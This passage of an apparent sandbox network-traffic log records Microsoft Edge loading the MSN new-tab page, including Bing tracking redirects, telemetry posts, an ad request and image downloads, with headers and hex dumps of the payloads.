image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1
2024-11-21 21:05:00 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732223097968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d41ff1193c9d4d589e56076438120f12&activityId=d41ff1193c9d4d589e56076438120f12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2F27E49CDADA4719BA52FA6E0688DEC0&RedC=c.msn.com&MXFR=3AFA34AF60E96DDF261E219161EE6CD7 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3AFA34AF60E96DDF261E219161EE6CD7; domain=.msn.com; expires=Tue, 16-Dec-2025 21:05:00 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Thu, 21 Nov 2024 21:05:00 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	49910	104.208.16.90	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:00 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223097965&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1
2024-11-21 21:05:00 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 31 3a 30 34 3a 35 37 2e 39 36 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 64 32 64 36 66 64 65 2d 30 31 39 61 2d 34 39 31 63 2d 38 38 30 35 2d 31 38 38 66 61 37 64 39 38 65 62 36 22 2c 22 65 70 6f 63 68 22 3a 22 34 30 39 35 35 31 39 30 32 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-21T21:04:57.960Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"7d2d6fde-019a-491c-8805-188fa7d98eb6","epoch":"4095519024"},"app":{"locale
2024-11-21 21:05:01 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=50d76308d78c42d6b69f1fddaa4fc179&HASH=50d7&LV=202411&V=4&LU=1732223100829; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 21:05:00 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3698e495c1da4d3eb77cd4063f5cc2f3; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 21:35:00 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2864 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 21:05:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	49913	20.99.185.48	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:00 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3AFA34AF60E96DDF261E219161EE6CD7&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=91fd4df48af24b389dac64cc734374b4 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3AFA34AF60E96DDF261E219161EE6CD7; _EDGE_S=F=1&SID=1E7E0BED65BA61C507B11ED364F660A7; _EDGE_V=1
2024-11-21 21:05:01 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Nov 2024 21:05:00 GMT Connection: close
2024-11-21 21:05:01 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	49916	23.44.133.11	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:01 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEr Last-Modified: Fri, 08 Nov 2024 07:20:56 GMT X-Source-Length: 28967 X-Datacenter: westus X-ActivityId: 0c687dbe-b0dd-41e6-aef4-bf71ce1feb68 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 28967 Cache-Control: public, max-age=425772 Expires: Tue, 26 Nov 2024 19:21:13 GMT Date: Thu, 21 Nov 2024 21:05:01 GMT Connection: close
2024-11-21 21:05:01 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-21 21:05:01 UTC	13102	IN	Data Raw: 0f b7 75 bf 2c a1 5f 9b ab cc 37 4a 3e b6 a4 d3 db 46 a4 7f 75 9f e6 bb 87 f9 f4 f7 55 ea 7e 9f 14 ed 96 2a a6 9a f2 aa 29 ab f4 a2 27 e2 2d 7e 73 f9 ae e3 fe 6d 53 d9 a7 5c fd c7 f3 6d cb 6e a4 ff 00 ba af d4 fa fa 9e 5d b8 6a fd 7d d7 77 ab b7 4a 8b f7 c4 44 bc 5a be 41 e5 7a bc 77 78 a7 f4 2b d4 a3 e1 55 b9 96 63 ae 59 ce 75 76 63 1d ef 2f f3 5d ca 3f cd ff 00 97 3f 7b 1f ce 37 2f fd c8 fd 58 ff 00 68 af f0 b7 97 55 f5 6a de 34 fa 72 ae 2a fe d5 17 e7 78 ab fc 25 47 ec f7 a9 8f d3 d1 89 b7 5d 35 c7 c1 ad ba 3d 59 ee 63 3a b9 9e 8c 67 ee f6 cf 9c 6e 56 e3 57 f4 ff 00 b4 9f ce 77 0f 7f 9e 8f f6 9f 1a bf c2 7b e4 4d e8 d7 dd 6b ed 8d 4a 27 fb 15 43 cd 57 e1 af 32 8f d9 e9 57 6e 18 75 34 fe 15 61 6b 87 a3 3f cd 8c f3 79 98 ff 00 e7 f5 7e 83 f9 e7 97 74 eb Data Ascii: u,_7J>FuU~)'-~smS\mn]j}wJDZAzwx+UcYuvc/]??{7/XhUj4rx%G]5=Yc:gnVWw{MkJ'CW2Wnu4ak?y~t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	49919	23.44.133.11	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:01 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=187488 Expires: Sun, 24 Nov 2024 01:09:49 GMT Date: Thu, 21 Nov 2024 21:05:01 GMT Connection: close
2024-11-21 21:05:01 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49918	23.44.133.11	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:01 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=319905 Expires: Mon, 25 Nov 2024 13:56:46 GMT Date: Thu, 21 Nov 2024 21:05:01 GMT Connection: close
2024-11-21 21:05:01 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	49920	23.44.133.11	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:01 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=205722 Expires: Sun, 24 Nov 2024 06:13:43 GMT Date: Thu, 21 Nov 2024 21:05:01 GMT Connection: close
2024-11-21 21:05:01 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49917	23.44.133.11	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:01 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=404560 Expires: Tue, 26 Nov 2024 13:27:41 GMT Date: Thu, 21 Nov 2024 21:05:01 GMT Connection: close
2024-11-21 21:05:01 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	49915	23.44.133.11	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:01 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:01 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=303169 Expires: Mon, 25 Nov 2024 09:17:50 GMT Date: Thu, 21 Nov 2024 21:05:01 GMT Connection: close
2024-11-21 21:05:01 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
